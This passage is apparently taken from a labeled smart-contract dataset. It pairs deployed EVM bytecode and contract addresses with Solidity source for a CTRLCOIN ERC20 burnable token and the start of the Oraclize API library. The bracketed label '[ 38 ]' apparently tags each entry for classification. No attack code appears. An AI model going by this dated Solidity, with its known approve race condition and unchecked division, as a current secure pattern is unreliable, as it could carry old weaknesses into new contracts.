9092919080359060200190929190505050610782565b604051808215151515815260200191505060405180910390f35b610284610a12565b604051808260ff1660ff16815260200191505060405180910390f35b6102a8610a25565b6040518082815260200191505060405180910390f35b610300600480360360208110156102d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a2b565b6040518082815260200191505060405180910390f35b61031e610a74565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035e578082015181840152602081019050610343565b50505050905090810190601f16801561038b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103cf600480360360408110156103af57600080fd5b810190808035906020019092919080359060200190929190505050610b12565b6040518082815260200191505060405180910390f35b610431600480360360408110156103fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b2c565b604051808215151515815260200191505060405180910390f35b6104816004803603604081101561046157600080fd5b810190808035906020019092919080359060200190929190505050610cb5565b6040518082815260200191505060405180910390f35b6104cd600480360360408110156104ad57600080fd5b810190808035906020019092919080359060200190929190505050610cd5565b6040518082815260200191505060405180910390f35b610545600480360360408110156104f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d02565b6040518082815260200191505060405180910390f35b6105916004803603604081101561057157600080fd5b810190808035906020019092919080359060200190929190505050610d89565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561063d5780601f106106125761010080835404028352916020019161063d565b820191906000526020600020905b81548152906001019060200180831161062057829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b60006107cd600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610896600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095f600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b0a5780601f10610adf57610100808354040283529160200191610b0a565b820191906000526020600020905b815481529060010190602001808311610aed57829003601f168201915b505050505081565b600082821115610b2157600080fd5b818303905092915050565b6000610b77600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c03600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211610cc357600080fd5b818381610ccc57fe5b04905092915050565b600081830290506000831480610cf3575081838281610cf057fe5b04145b610cfc57600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000818301905082811015610d9d57600080fd5b9291505056fea265627a7a72315820054ff798f46a4bbe1a1db8c395c0ea93e1271dbf47dc6f11edda9521db4a288464736f6c63430005110032
[ 38 ]
0xf23ab1d0b411038d19dc8cf59252cf51736d0e4e
// SPDX-License-Identifier: No License pragma solidity 0.6.12; // ---------------------------------------------------------------------------- // 'CTRLCOIN' contract // // Symbol : CTRL // Name : CTRLCOIN // Total supply: 100 000 000 000 // Decimals : 18 // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath{ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ interface ERC20Basic { function balanceOf(address who) external view returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool trans1); function allowance(address owner, address spender) external view returns (uint256 remaining); function transferFrom(address from, address to, uint256 value) external returns (bool trans); function approve(address spender, uint256 value) external returns (bool hello); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20Basic, Ownable { uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public override returns (bool trans1) { require(_to != address(0)); //require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. */ function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) { require(_to != address(0)); // require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public override returns (bool hello) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. */ function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract CTRL is BurnableToken { string public constant name = "CTRLCOIN"; string public constant symbol = "CTRL"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 100000000000 * (10 ** uint256(decimals)); // Constructors constructor () public{ totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner //allowedAddresses[owner] = true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a13565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd9565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6a565b6040518082815260200191505060405180910390f35b6103b1610eb3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f10565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e4565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e0565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611367565b005b6040518060400160405280600881526020017f4354524c434f494e00000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b690919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a64174876e8000281565b60008111610a2057600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6c57600080fd5b6000339050610ac382600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1b826001546114b690919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610cea576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7e565b610cfd83826114b690919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600481526020017f4354524c0000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4b57600080fd5b610f9d82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117582600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113bf57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c257fe5b818303905092915050565b6000808284019050838110156114df57fe5b809150509291505056fea26469706673582212209e8208473ebcf186b874c9f855084b0436a52dfc91c5358dfad35ef3caeaa47b64736f6c634300060c0033
[ 38 ]
0xf23b1d8a9531a6aab7e50a24e6c98f88344d1718
pragma solidity ^0.4.11; // <ORACLIZE_API> /* Copyright (c) 2015-2016 Oraclize SRL Copyright (c) 2016 Oraclize LTD Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ pragma solidity ^0.4.0;//please import oraclizeAPI_pre0.4.sol when solidity < 0.4.0 contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id); function getPrice(string _datasource) returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); function useCoupon(string _coupon); function setProofType(byte _proofType); function setConfig(bytes32 _config); function setCustomGasPrice(uint _gasPrice); function randomDS_getSessionPubKeyHash() returns(bytes32); } contract OraclizeAddrResolverI { function getAddress() returns (address _addr); } contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Android = 0x20; byte constant proofType_Ledger = 0x30; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); if(address(oraclize) != OAR.getAddress()) oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); oraclize.useCoupon(code); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName("eth_mainnet"); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName("eth_ropsten3"); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName("eth_kovan"); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName("eth_rinkeby"); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) { } function oraclize_useCoupon(string code) oraclizeAPI internal { oraclize.useCoupon(code); } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function 